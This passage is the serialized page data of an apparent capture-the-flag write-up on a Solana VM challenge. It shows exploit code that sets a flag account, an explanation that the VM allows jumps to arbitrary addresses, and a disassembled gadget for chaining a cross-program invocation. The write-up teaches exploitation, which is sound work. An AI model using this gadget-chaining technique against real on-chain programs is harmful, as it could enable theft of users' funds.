style":5058},[45707],{"type":29,"value":45708},"        ],\n",{"type":23,"tag":504,"props":45710,"children":45711},{"class":5016,"line":5821},[45712],{"type":23,"tag":504,"props":45713,"children":45714},{"style":5058},[45715],{"type":29,"value":45716},"    );\n",{"type":23,"tag":504,"props":45718,"children":45719},{"class":5016,"line":5851},[45720,45724],{"type":23,"tag":504,"props":45721,"children":45722},{"style":5139},[45723],{"type":29,"value":43186},{"type":23,"tag":504,"props":45725,"children":45726},{"style":5058},[45727],{"type":29,"value":5512},{"type":23,"tag":504,"props":45729,"children":45730},{"class":5016,"line":5859},[45731,45735,45740],{"type":23,"tag":504,"props":45732,"children":45733},{"style":5047},[45734],{"type":29,"value":5520},{"type":23,"tag":504,"props":45736,"children":45737},{"style":5041},[45738],{"type":29,"value":45739},"instruction",{"type":23,"tag":504,"props":45741,"children":45742},{"style":5058},[45743],{"type":29,"value":5557},{"type":23,"tag":504,"props":45745,"children":45746},{"class":5016,"line":5891},[45747,45751],{"type":23,"tag":504,"props":45748,"children":45749},{"style":5047},[45750],{"type":29,"value":5520},{"type":23,"tag":504,"props":45752,"children":45753},{"style":5058},[45754],{"type":29,"value":45610},{"type":23,"tag":504,"props":45756,"children":45757},{"class":5016,"line":5899},[45758,45763,45767,45771],{"type":23,"tag":504,"props":45759,"children":45760},{"style":5041},[45761],{"type":29,"value":45762},"            user_ai",{"type":23,"tag":504,"props":45764,"children":45765},{"style":5047},[45766],{"type":29,"value":357},{"type":23,"tag":504,"props":45768,"children":45769},{"style":5139},[45770],{"type":29,"value":17466},{"type":23,"tag":504,"props":45772,"children":45773},{"style":5058},[45774],{"type":29,"value":5540},{"type":23,"tag":504,"props":45776,"children":45777},{"class":5016,"line":5959},[45778,45783,45787,45791],{"type":23,"tag":504,"props":45779,"children":45780},{"style":5041},[45781],{"type":29,"value":45782},"            flag_pda_ai",{"type":23,"tag":504,"props":45784,"children":45785},{"style":5047},[45786],{"type":29,"value":357},{"type":23,"tag":504,"props":45788,"children":45789},{"style":5139},[45790],{"type":29,"value":17466},{"type":23,"tag":504,"props":45792,"children":45793},{"style":5058},[45794],{"type":29,"value":5540},{"type":23,"tag":504,"props":45796,"children":45797},{"class":5016,"line":11093},[45798],{"type":23,"tag":504,"props":45799,"children":45800},{"style":5058},[45801],{"type":29,"value":45708},{"type":23,"tag":504,"props":45803,"children":45804},{"class":5016,"line":11111},[45805,45809,45813,45817,45821,45825,45829,45833],{"type":23,"tag":504,"props":45806,"children":45807},{"style":5047},[45808],{"type":29,"value":5520},{"type":23,"tag":504,"props":45810,"children":45811},{"style":5058},[45812],{"type":29,"value":1380},{"type":23,"tag":504,"props":45814,"children":45815},{"style":5047},[45816],{"type":29,"value":5151},{"type":23,"tag":504,"props":45818,"children":45819},{"style":5058},[45820],{"type":29,"value":1380},{"type":23,"tag":504,"props":45822,"children":45823},{"style":6297},[45824],{"type":29,"value":44681},{"type":23,"tag":504,"props":45826,"children":45827},{"style":5047},[45828],{"type":29,"value":357},{"type":23,"tag":504,"props":45830,"children":45831},{"style":5139},[45832],{"type":29,"value":44690},{"type":23,"tag":504,"props":45834,"children":45835},{"style":5058},[45836],{"type":29,"value":45837},"()]],\n",{"type":23,"tag":504,"props":45839,"children":45840},{"class":5016,"line":11156},[45841,45845,45849],{"type":23,"tag":504,"props":45842,"children":45843},{"style":5058},[45844],{"type":29,"value":5711},{"type":23,"tag":504,"props":45846,"children":45847},{"style":5047},[45848],{"type":29,"value":5195},{"type":23,"tag":504,"props":45850,"children":45851},{"style":5058},[45852],{"type":29,"value":5061},{"type":23,"tag":504,"props":45854,"children":45855},{"class":5016,"line":11262},[45856],{"type":23,"tag":504,"props":45857,"children":45858},{"emptyLinePlaceholder":15},[45859],{"type":29,"value":5734},{"type":23,"tag":504,"props":45861,"children":45862},{"class":5016,"line":25550},[45863],{"type":23,"tag":504,"props":45864,"children":45865},{"style":5021},[45866],{"type":29,"value":45867},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":504,"props":45869,"children":45870},{"class":5016,"line":25585},[45871,45876,45880,45884,45888,45892,45896,45900,45904,45908,45912,45917,45921,45925,45930,45934,45938,45943],{"type":23,"tag":504,"props":45872,"children":45873},{"style":5041},[45874],{"type":29,"value":45875},"    flag_pda_ai",{"type":23,"tag":504,"props":45877,"children":45878},{"style":5047},[45879],{"type":29,"value":357},{"type":23,"tag":504,"props":45881,"children":45882},{"style":5139},[45883],{"type":29,"value":15920},{"type":23,"tag":504,"props":45885,"children":45886},{"style":5058},[45887],{"type":29,"value":15925},{"type":23,"tag":504,"props":45889,"children":45890},{"style":5047},[45891],{"type":29,"value":5195},{"type":23,"tag":504,"props":45893,"children":45894},{"style":5058},[45895],{"type":29,"value":1380},{"type":23,"tag":504,"props":45897,"children":45898},{"style":5047},[45899],{"type":29,"value":5091},{"type":23,"tag":504,"props":45901,"children":45902},{"style":5083},[45903],{"type":29,"value":6124},{"type":23,"tag":504,"props":45905,"children":45906},{"style":5058},[45907],{"type":29,"value":1422},{"type":23,"tag":504,"props":45909,"children":45910},{"style":5047},[45911],{"type":29,"value":357},{"type":23,"tag":504,"props":45913,"children":45914},{"style":5139},[45915],{"type":29,"value":45916},"copy_from_slice",{"type":23,"tag":504,"props":45918,"children":45919},{"style":5058},[45920],{"type":29,"value":603},{"type":23,"tag":504,"props":45922,"children":45923},{"style":5047},[45924],{"type":29,"value":5151},{"type":23,"tag":504,"props":45926,"children":45927},{"style":5083},[45928],{"type":29,"value":45929},"0x4337",{"type":23,"tag":504,"props":45931,"children":45932},{"style":5467},[45933],{"type":29,"value":10087},{"type":23,"tag":504,"props":45935,"children":45936},{"style":5047},[45937],{"type":29,"value":357},{"type":23,"tag":504,"props":45939,"children":45940},{"style":5139},[45941],{"type":29,"value":45942},"to_le_bytes",{"type":23,"tag":504,"props":45944,"children":45945},{"style":5058},[45946],{"type":29,"value":17471},{"type":23,"tag":504,"props":45948,"children":45949},{"class":5016,"line":25593},[45950],{"type":23,"tag":504,"props":45951,"children":45952},{"emptyLinePlaceholder":15},[45953],{"type":29,"value":5734},{"type":23,"tag":504,"props":45955,"children":45956},{"class":5016,"line":25601},[45957,45961],{"type":23,"tag":504,"props":45958,"children":45959},{"style":5467},[45960],{"type":29,"value":16379},{"type":23,"tag":504,"props":45962,"children":45963},{"style":5058},[45964],{"type":29,"value":16384},{"type":23,"tag":504,"props":45966,"children":45967},{"class":5016,"line":25610},[45968],{"type":23,"tag":504,"props":45969,"children":45970},{"style":5058},[45971],{"type":29,"value":5965},{"type":23,"tag":32,"props":45973,"children":45974},{},[45975],{"type":29,"value":45976},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":32,"props":45978,"children":45979},{},[45980],{"type":23,"tag":199,"props":45981,"children":45984},{"alt":45982,"src":45983},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":32,"props":45986,"children":45987},{},[45988],{"type":29,"value":45989},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":24,"props":45991,"children":45993},{"id":45992},"solution-implementation",[45994],{"type":29,"value":45995},"Solution Implementation",{"type":23,"tag":32,"props":45997,"children":45998},{},[45999,46001,46006],{"type":29,"value":46000},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":154,"props":46002,"children":46004},{"className":46003},[],[46005],{"type":29,"value":37738},{"type":29,"value":46007}," invocations:",{"type":23,"tag":4743,"props":46009,"children":46013},{"className":46010,"code":46011,"language":46012,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[46014],{"type":23,"tag":154,"props":46015,"children":46016},{"__ignoreMap":7},[46017,46025,46033,46041,46049,46057,46065],{"type":23,"tag":504,"props":46018,"children":46019},{"class":5016,"line":5017},[46020],{"type":23,"tag":504,"props":46021,"children":46022},{},[46023],{"type":29,"value":46024},"graph LR\n",{"type":23,"tag":504,"props":46026,"children":46027},{"class":5016,"line":4868},[46028],{"type":23,"tag":504,"props":46029,"children":46030},{},[46031],{"type":29,"value":46032},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":504,"props":46034,"children":46035},{"class":5016,"line":4876},[46036],{"type":23,"tag":504,"props":46037,"children":46038},{},[46039],{"type":29,"value":46040},"    B --> C[2: process]\n",{"type":23,"tag":504,"props":46042,"children":46043},{"class":5016,"line":5099},[46044],{"type":23,"tag":504,"props":46045,"children":46046},{},[46047],{"type":29,"value":46048},"    C --> D[3: gadget1]\n",{"type":23,"tag":504,"props":46050,"children":46051},{"class":5016,"line":5203},[46052],{"type":23,"tag":504,"props":46053,"children":46054},{},[46055],{"type":29,"value":46056},"    C --> E[3: process]\n",{"type":23,"tag":504,"props":46058,"children":46059},{"class":5016,"line":5308},[46060],{"type":23,"tag":504,"props":46061,"children":46062},{},[46063],{"type":29,"value":46064},"    E --> F[4: gadget2]\n",{"type":23,"tag":504,"props":46066,"children":46067},{"class":5016,"line":5336},[46068],{"type":23,"tag":504,"props":46069,"children":46070},{},[46071],{"type":29,"value":46072},"    E --> G[...]\n",{"type":23,"tag":32,"props":46074,"children":46075},{},[46076],{"type":29,"value":46077},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":32,"props":46079,"children":46080},{},[46081,46083,46089],{"type":29,"value":46082},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":68,"props":46084,"children":46086},{"href":42544,"rel":46085},[72],[46087],{"type":29,"value":46088},"Binary Ninja",{"type":29,"value":46090}," to find a suitable gadget for this.",{"type":23,"tag":32,"props":46092,"children":46093},{},[46094,46096,46103],{"type":29,"value":46095},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":68,"props":46097,"children":46100},{"href":46098,"rel":46099},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[72],[46101],{"type":29,"value":46102},"skip the strip pass",{"type":29,"value":357},{"type":23,"tag":320,"props":46105,"children":46107},{"id":46106},"cpi-gadget",[46108],{"type":29,"value":46109},"CPI Gadget",{"type":23,"tag":32,"props":46111,"children":46112},{},[46113,46115,46120,46122,46129,46131,46137],{"type":29,"value":46114},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":154,"props":46116,"children":46118},{"className":46117},[],[46119],{"type":29,"value":40352},{"type":29,"value":46121}," function. This function calls into the solana sdk's function ",{"type":23,"tag":68,"props":46123,"children":46126},{"href":46124,"rel":46125},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[72],[46127],{"type":29,"value":46128},"invoke_signed_unchecked",{"type":29,"value":46130},", yielding a powerful gadget at the address ",{"type":23,"tag":154,"props":46132,"children":46134},{"className":46133},[],[46135],{"type":29,"value":46136},"0x100001ba8",{"type":29,"value":357},{"type":23,"tag":4743,"props":46139,"children":46141},{"className":5009,"code":46140,"language":5008,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[46142],{"type":23,"tag":154,"props":46143,"children":46144},{"__ignoreMap":7},[46145,46170,46226,46277,46329,46381,46404,46452,46459,46491,46542,46600,46634,46641,46690,46720,46795,46802,46853,46899,46906,46937,46988,47018,47040,47047,47098,47143,47150,47201,47229,47250,47257],{"type":23,"tag":504,"props":46146,"children":46147},{"class":5016,"line":5017},[46148,46152,46156,46161,46165],{"type":23,"tag":504,"props":46149,"children":46150},{"style":5058},[46151],{"type":29,"value":15699},{"type":23,"tag":504,"props":46153,"children":46154},{"style":5047},[46155],{"type":29,"value":5530},{"type":23,"tag":504,"props":46157,"children":46158},{"style":5058},[46159],{"type":29,"value":46160},"program",{"type":23,"tag":504,"props":46162,"children":46163},{"style":5047},[46164],{"type":29,"value":5530},{"type":23,"tag":504,"props":46166,"children":46167},{"style":5041},[46168],{"type":29,"value":46169},"invoke_signed_unchecked\n",{"type":23,"tag":504,"props":46171,"children":46172},{"class":5016,"line":4868},[46173,46178,46183,46188,46193,46198,46203,46207,46212,46217,46222],{"type":23,"tag":504,"props":46174,"children":46175},{"style":5041},[46176],{"type":29,"value":46177},"100001ba8",{"type":23,"tag":504,"props":46179,"children":46180},{"style":5041},[46181],{"type":29,"value":46182},"  79a278ff00000000",{"type":23,"tag":504,"props":46184,"children":46185},{"style":5041},[46186],{"type":29,"value":46187},"   ldxdw",{"type":23,"tag":504,"props":46189,"children":46190},{"style":5041},[46191],{"type":29,"value":46192}," r2",{"type":23,"tag":504,"props":46194,"children":46195},{"style":5058},[46196],{"type":29,"value":46197},", [",{"type":23,"tag":504,"props":46199,"children":46200},{"style":5041},[46201],{"type":29,"value":46202},"r10",{"type":23,"tag":504,"props":46204,"children":46205},{"style":5047},[46206],{"type":29,"value":6368},{"type":23,"tag":504,"props":46208,"children":46209},{"style":5083},[46210],{"type":29,"value":46211},"136",{"type":23,"tag":504,"props":46213,"children":46214},{"style":5058},[46215],{"type":29,"value":46216},"] {",{"type":23,"tag":504,"props":46218,"children":46219},{"style":5041},[46220],{"type":29,"value":46221},"var_88",{"type":23,"tag":504,"props":46223,"children":46224},{"style":5058},[46225],{"type":29,"value":5965},{"type":23,"tag":504,"props":46227,"children":46228},{"class":5016,"line":4876},[46229,46234,46239,46243,46248,46252,46256,46260,46264,46268,46273],{"type":23,"tag":504,"props":46230,"children":46231},{"style":5041},[46232],{"type":29,"value":46233},"100001bb0",{"type":23,"tag":504,"props":46235,"children":46236},{"style":5041},[46237],{"type":29,"value":46238},"  79a380ff00000000",{"type":23,"tag":504,"props":46240,"children":46241},{"style":5041},[46242],{"type":29,"value":46187},{"type":23,"tag":504,"props":46244,"children":46245},{"style":5041},[46246],{"type":29,"value":46247}," r3",{"type":23,"tag":504,"props":46249,"children":46250},{"style":5058},[46251],{"type":29,"value":46197},{"type":23,"tag":504,"props":46253,"children":46254},{"style":5041},[46255],{"type":29,"value":46202},{"type":23,"tag":504,"props":46257,"children":46258},{"style":5047},[46259],{"type":29,"value":6368},{"type":23,"tag":504,"props":46261,"children":46262},{"style":5083},[46263],{"type":29,"value":31902},{"type":23,"tag":504,"props":46265,"children":46266},{"style":5058},[46267],{"type":29,"value":46216},{"type":23,"tag":504,"props":46269,"children":46270},{"style":5041},[46271],{"type":29,"value":46272},"var_80",{"type":23,"tag":504,"props":46274,"children":46275},{"style":5058},[46276],{"type":29,"value":5965},{"type":23,"tag":504,"props":46278,"children":46279},{"class":5016,"line":5099},[46280,46285,46290,46294,46299,46303,46307,46311,46316,46320,46325],{"type":23,"tag":504,"props":46281,"children":46282},{"style":5041},[46283],{"type":29,"value":46284},"100001bb8",{"type":23,"tag":504,"props":46286,"children":46287},{"style":5041},[46288],{"type":29,"value":46289},"  79a468ff00000000",{"type":23,"tag":504,"props":46291,"children":46292},{"style":5041},[46293],{"type":29,"value":46187},{"type":23,"tag":504,"props":46295,"children":46296},{"style":5041},[46297],{"type":29,"value":46298}," r4",{"type":23,"tag":504,"props":46300,"children":46301},{"style":5058},[46302],{"type":29,"value":46197},{"type":23,"tag":504,"props":46304,"children":46305},{"style":5041},[46306],{"type":29,"value":46202},{"type":23,"tag":504,"props":46308,"children":46309},{"style":5047},[46310],{"type":29,"value":6368},{"type":23,"tag":504,"props":46312,"children":46313},{"style":5083},[46314],{"type":29,"value":46315},"152",{"type":23,"tag":504,"props":46317,"children":46318},{"style":5058},[46319],{"type":29,"value":46216},{"type":23,"tag":504,"props":46321,"children":46322},{"style":5041},[46323],{"type":29,"value":46324},"var_98",{"type":23,"tag":504,"props":46326,"children":46327},{"style":5058},[46328],{"type":29,"value":5965},{"type":23,"tag":504,"props":46330,"children":46331},{"class":5016,"line":5203},[46332,46337,46342,46346,46351,46355,46359,46363,46368,46372,46377],{"type":23,"tag":504,"props":46333,"children":46334},{"style":5041},[46335],{"type":29,"value":46336},"100001bc0",{"type":23,"tag":504,"props":46338,"children":46339},{"style":5041},[46340],{"type":29,"value":46341},"  79a570ff00000000",{"type":23,"tag":504,"props":46343,"children":46344},{"style":5041},[46345],{"type":29,"value":46187},{"type":23,"tag":504,"props":46347,"children":46348},{"style":5041},[46349],{"type":29,"value":46350}," r5",{"type":23,"tag":504,"props":46352,"children":46353},{"style":5058},[46354],{"type":29,"value":46197},{"type":23,"tag":504,"props":46356,"children":46357},{"style":5041},[46358],{"type":29,"value":46202},{"type":23,"tag":504,"props":46360,"children":46361},{"style":5047},[46362],{"type":29,"value":6368},{"type":23,"tag":504,"props":46364,"children":46365},{"style":5083},[46366],{"type":29,"value":46367},"144",{"type":23,"tag":504,"props":46369,"children":46370},{"style":5058},[46371],{"type":29,"value":46216},{"type":23,"tag":504,"props":46373,"children":46374},{"style":5041},[46375],{"type":29,"value":46376},"var_90",{"type":23,"tag":504,"props":46378,"children":46379},{"style":5058},[46380],{"type":29,"value":5965},{"type":23,"tag":504,"props":46382,"children":46383},{"class":5016,"line":5308},[46384,46389,46394,46399],{"type":23,"tag":504,"props":46385,"children":46386},{"style":5041},[46387],{"type":29,"value":46388},"100001bc8",{"type":23,"tag":504,"props":46390,"children":46391},{"style":5083},[46392],{"type":29,"value":46393},"  8520000020100000",{"type":23,"tag":504,"props":46395,"children":46396},{"style":5041},[46397],{"type":29,"value":46398},"   call",{"type":23,"tag":504,"props":46400,"children":46401},{"style":5041},[46402],{"type":29,"value":46403}," sol_invoke_signed_rust\n",{"type":23,"tag":504,"props":46405,"children":46406},{"class":5016,"line":5336},[46407,46412,46417,46422,46426,46430,46434,46438,46443,46447],{"type":23,"tag":504,"props":46408,"children":46409},{"style":5041},[46410],{"type":29,"value":46411},"100001bd0",{"type":23,"tag":504,"props":46413,"children":46414},{"style":5083},[46415],{"type":29,"value":46416},"  5500040000000000",{"type":23,"tag":504,"props":46418,"children":46419},{"style":5041},[46420],{"type":29,"value":46421},"   jne",{"type":23,"tag":504,"props":46423,"children":46424},{"style":5058},[46425],{"type":29,"value":10764},{"type":23,"tag":504,"props":46427,"children":46428},{"style":5047},[46429],{"type":29,"value":6422},{"type":23,"tag":504,"props":46431,"children":46432},{"style":5083},[46433],{"type":29,"value":19577},{"type":23,"tag":504,"props":46435,"children":46436},{"style":5058},[46437],{"type":29,"value":7866},{"type":23,"tag":504,"props":46439,"children":46440},{"style":5041},[46441],{"type":29,"value":46442},"r0",{"type":23,"tag":504,"props":46444,"children":46445},{"style":5058},[46446],{"type":29,"value":4367},{"type":23,"tag":504,"props":46448,"children":46449},{"style":5083},[46450],{"type":29,"value":46451},"0x0\n",{"type":23,"tag":504,"props":46453,"children":46454},{"class":5016,"line":5349},[46455],{"type":23,"tag":504,"props":46456,"children":46457},{"emptyLinePlaceholder":15},[46458],{"type":29,"value":5734},{"type":23,"tag":504,"props":46460,"children":46461},{"class":5016,"line":5367},[46462,46467,46472,46477,46482,46486],{"type":23,"tag":504,"props":46463,"children":46464},{"style":5041},[46465],{"type":29,"value":46466},"100001bd8",{"type":23,"tag":504,"props":46468,"children":46469},{"style":5041},[46470],{"type":29,"value":46471},"  b701000018000000",{"type":23,"tag":504,"props":46473,"children":46474},{"style":5041},[46475],{"type":29,"value":46476},"   mov",{"type":23,"tag":504,"props":46478,"children":46479},{"style":5041},[46480],{"type":29,"value":46481}," r1",{"type":23,"tag":504,"props":46483,"children":46484},{"style":5058},[46485],{"type":29,"value":4367},{"type":23,"tag":504,"props":46487,"children":46488},{"style":5083},[46489],{"type":29,"value":46490},"0x18\n",{"type":23,"tag":504,"props":46492,"children":46493},{"class":5016,"line":5388},[46494,46499,46504,46508,46512,46516,46520,46524,46529,46533,46538],{"type":23,"tag":504,"props":46495,"children":46496},{"style":5041},[46497],{"type":29,"value":46498},"100001be0",{"type":23,"tag":504,"props":46500,"children":46501},{"style":5041},[46502],{"type":29,"value":46503},"  79a288ff00000000",{"type":23,"tag":504,"props":46505,"children":46506},{"style":5041},[46507],{"type":29,"value":46187},{"type":23,"tag":504,"props":46509,"children":46510},{"style":5041},[46511],{"type":29,"value":46192},{"type":23,"tag":504,"props":46513,"children":46514},{"style":5058},[46515],{"type":29,"value":46197},{"type":23,"tag":504,"props":46517,"children":46518},{"style":5041},[46519],{"type":29,"value":46202},{"type":23,"tag":504,"props":46521,"children":46522},{"style":5047},[46523],{"type":29,"value":6368},{"type":23,"tag":504,"props":46525,"children":46526},{"style":5083},[46527],{"type":29,"value":46528},"120",{"type":23,"tag":504,"props":46530,"children":46531},{"style":5058},[46532],{"type":29,"value":46216},{"type":23,"tag":504,"props":46534,"children":46535},{"style":5041},[46536],{"type":29,"value":46537},"var_78",{"type":23,"tag":504,"props":46539,"children":46540},{"style":5058},[46541],{"type":29,"value":5965},{"type":23,"tag":504,"props":46543,"children":46544},{"class":5016,"line":5397},[46545,46550,46555,46560,46564,46569,46573,46577,46581,46586,46591,46596],{"type":23,"tag":504,"props":46546,"children":46547},{"style":5041},[46548],{"type":29,"value":46549},"100001be8",{"type":23,"tag":504,"props":46551,"children":46552},{"style":5083},[46553],{"type":29,"value":46554},"  6312000000000000",{"type":23,"tag":504,"props":46556,"children":46557},{"style":5041},[46558],{"type":29,"value":46559},"   stxw",{"type":23,"tag":504,"props":46561,"children":46562},{"style":5058},[46563],{"type":29,"value":25073},{"type":23,"tag":504,"props":46565,"children":46566},{"style":5041},[46567],{"type":29,"value":46568},"r2",{"type":23,"tag":504,"props":46570,"children":46571},{"style":5047},[46572],{"type":29,"value":6368},{"type":23,"tag":504,"props":46574,"children":46575},{"style":5083},[46576],{"type":29,"value":708},{"type":23,"tag":504,"props":46578,"children":46579},{"style":5058},[46580],{"type":29,"value":25101},{"type":23,"tag":504,"props":46582,"children":46583},{"style":5041},[46584],{"type":29,"value":46585},"r1",{"type":23,"tag":504,"props":46587,"children":46588},{"style":5058},[46589],{"type":29,"value":46590},"  {",{"type":23,"tag":504,"props":46592,"children":46593},{"style":5083},[46594],{"type":29,"value":46595},"0x18",{"type":23,"tag":504,"props":46597,"children":46598},{"style":5058},[46599],{"type":29,"value":5965},{"type":23,"tag":504,"props":46601,"children":46602},{"class":5016,"line":5649},[46603,46608,46613,46618,46622,46626,46630],{"type":23,"tag":504,"props":46604,"children":46605},{"style":5041},[46606],{"type":29,"value":46607},"100001bf0",{"type":23,"tag":504,"props":46609,"children":46610},{"style":5083},[46611],{"type":29,"value":46612},"  0500030000000000",{"type":23,"tag":504,"props":46614,"children":46615},{"style":5041},[46616],{"type":29,"value":46617},"   ja",{"type":23,"tag":504,"props":46619,"children":46620},{"style":5058},[46621],{"type":29,"value":10764},{"type":23,"tag":504,"props":46623,"children":46624},{"style":5047},[46625],{"type":29,"value":6422},{"type":23,"tag":504,"props":46627,"children":46628},{"style":5083},[46629],{"type":29,"value":19344},{"type":23,"tag":504,"props":46631,"children":46632},{"style":5058},[46633],{"type":29,"value":8038},{"type":23,"tag":504,"props":46635,"children":46636},{"class":5016,"line":5666},[46637],{"type":23,"tag":504,"props":46638,"children":46639},{"emptyLinePlaceholder":15},[46640],{"type":29,"value":5734},{"type":23,"tag":504,"props":46642,"children":46643},{"class":5016,"line":5683},[46644,46649,46654,46658,46662,46666,46670,46674,46678,46682,46686],{"type":23,"tag":504,"props":46645,"children":46646},{"style":5041},[46647],{"type":29,"value":46648},"100001bf8",{"type":23,"tag":504,"props":46650,"children":46651},{"style":5041},[46652],{"type":29,"value":46653},"  79a188ff00000000",{"type":23,"tag":504,"props":46655,"children":46656},{"style":5041},[46657],{"type":29,"value":46187},{"type":23,"tag":504,"props":46659,"children":46660},{"style":5041},[46661],{"type":29,"value":46481},{"type":23,"tag":504,"props":46663,"children":46664},{"style":5058},[46665],{"type":29,"value":46197},{"type":23,"tag":504,"props":46667,"children":46668},{"style":5041},[46669],{"type":29,"value":46202},{"type":23,"tag":504,"props":46671,"children":46672},{"style":5047},[46673],{"type":29,"value":6368},{"type":23,"tag":504,"props":46675,"children":46676},{"style":5083},[46677],{"type":29,"value":46528},{"type":23,"tag":504,"props":46679,"children":46680},{"style":5058},[46681],{"type":29,"value":46216},{"type":23,"tag":504,"props":46683,"children":46684},{"style":5041},[46685],{"type":29,"value":46537},{"type":23,"tag":504,"props":46687,"children":46688},{"style":5058},[46689],{"type":29,"value":5965},{"type":23,"tag":504,"props":46691,"children":46692},{"class":5016,"line":5696},[46693,46698,46703,46707,46711,46715],{"type":23,"tag":504,"props":46694,"children":46695},{"style":5041},[46696],{"type":29,"value":46697},"100001c00",{"type":23,"tag":504,"props":46699,"children":46700},{"style":5041},[46701],{"type":29,"value":46702},"  bf02000000000000",{"type":23,"tag":504,"props":46704,"children":46705},{"style":5041},[46706],{"type":29,"value":46476},{"type":23,"tag":504,"props":46708,"children":46709},{"style":5041},[46710],{"type":29,"value":46192},{"type":23,"tag":504,"props":46712,"children":46713},{"style":5058},[46714],{"type":29,"value":4367},{"type":23,"tag":504,"props":46716,"children":46717},{"style":5041},[46718],{"type":29,"value":46719},"r0\n",{"type":23,"tag":504,"props":46721,"children":46722},{"class":5016,"line":5705},[46723,46728,46733,46737,46742,46746,46751,46755,46759,46764,46768,46772,46777,46782,46786,46790],{"type":23,"tag":504,"props":46724,"children":46725},{"style":5041},[46726],{"type":29,"value":46727},"100001c08",{"type":23,"tag":504,"props":46729,"children":46730},{"style":5083},[46731],{"type":29,"value":46732},"  8510000075000000",{"type":23,"tag":504,"props":46734,"children":46735},{"style":5041},[46736],{"type":29,"value":46398},{"type":23,"tag":504,"props":46738,"children":46739},{"style":5467},[46740],{"type":29,"value":46741}," _ZN94_",{"type":23,"tag":504,"props":46743,"children":46744},{"style":5047},[46745],{"type":29,"value":12334},{"type":23,"tag":504,"props":46747,"children":46748},{"style":5467},[46749],{"type":29,"value":46750},"LT",{"type":23,"tag":504,"props":46752,"children":46753},{"style":5047},[46754],{"type":29,"value":12334},{"type":23,"tag":504,"props":46756,"children":46757},{"style":5041},[46758],{"type":29,"value":15699},{"type":23,"tag":504,"props":46760,"children":46761},{"style":5047},[46762],{"type":29,"value":46763},"...$",{"type":23,"tag":504,"props":46765,"children":46766},{"style":5041},[46767],{"type":29,"value":10087},{"type":23,"tag":504,"props":46769,"children":46770},{"style":5047},[46771],{"type":29,"value":12334},{"type":23,"tag":504,"props":46773,"children":46774},{"style":5467},[46775],{"type":29,"value":46776},"GT",{"type":23,"tag":504,"props":46778,"children":46779},{"style":5047},[46780],{"type":29,"value":46781},"$$",{"type":23,"tag":504,"props":46783,"children":46784},{"style":5467},[46785],{"type":29,"value":46776},{"type":23,"tag":504,"props":46787,"children":46788},{"style":5047},[46789],{"type":29,"value":12334},{"type":23,"tag":504,"props":46791,"children":46792},{"style":5058},[46793],{"type":29,"value":46794},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":504,"props":46796,"children":46797},{"class":5016,"line":5728},[46798],{"type":23,"tag":504,"props":46799,"children":46800},{"emptyLinePlaceholder":15},[46801],{"type":29,"value":5734},{"type":23,"tag":504,"props":46803,"children":46804},{"class":5016,"line":5737},[46805,46810,46815,46819,46823,46827,46831,46835,46840,46844,46849],{"type":23,"tag":504,"props":46806,"children":46807},{"style":5041},[46808],{"type":29,"value":46809},"100001c10",{"type":23,"tag":504,"props":46811,"children":46812},{"style":5041},[46813],{"type":29,"value":46814},"  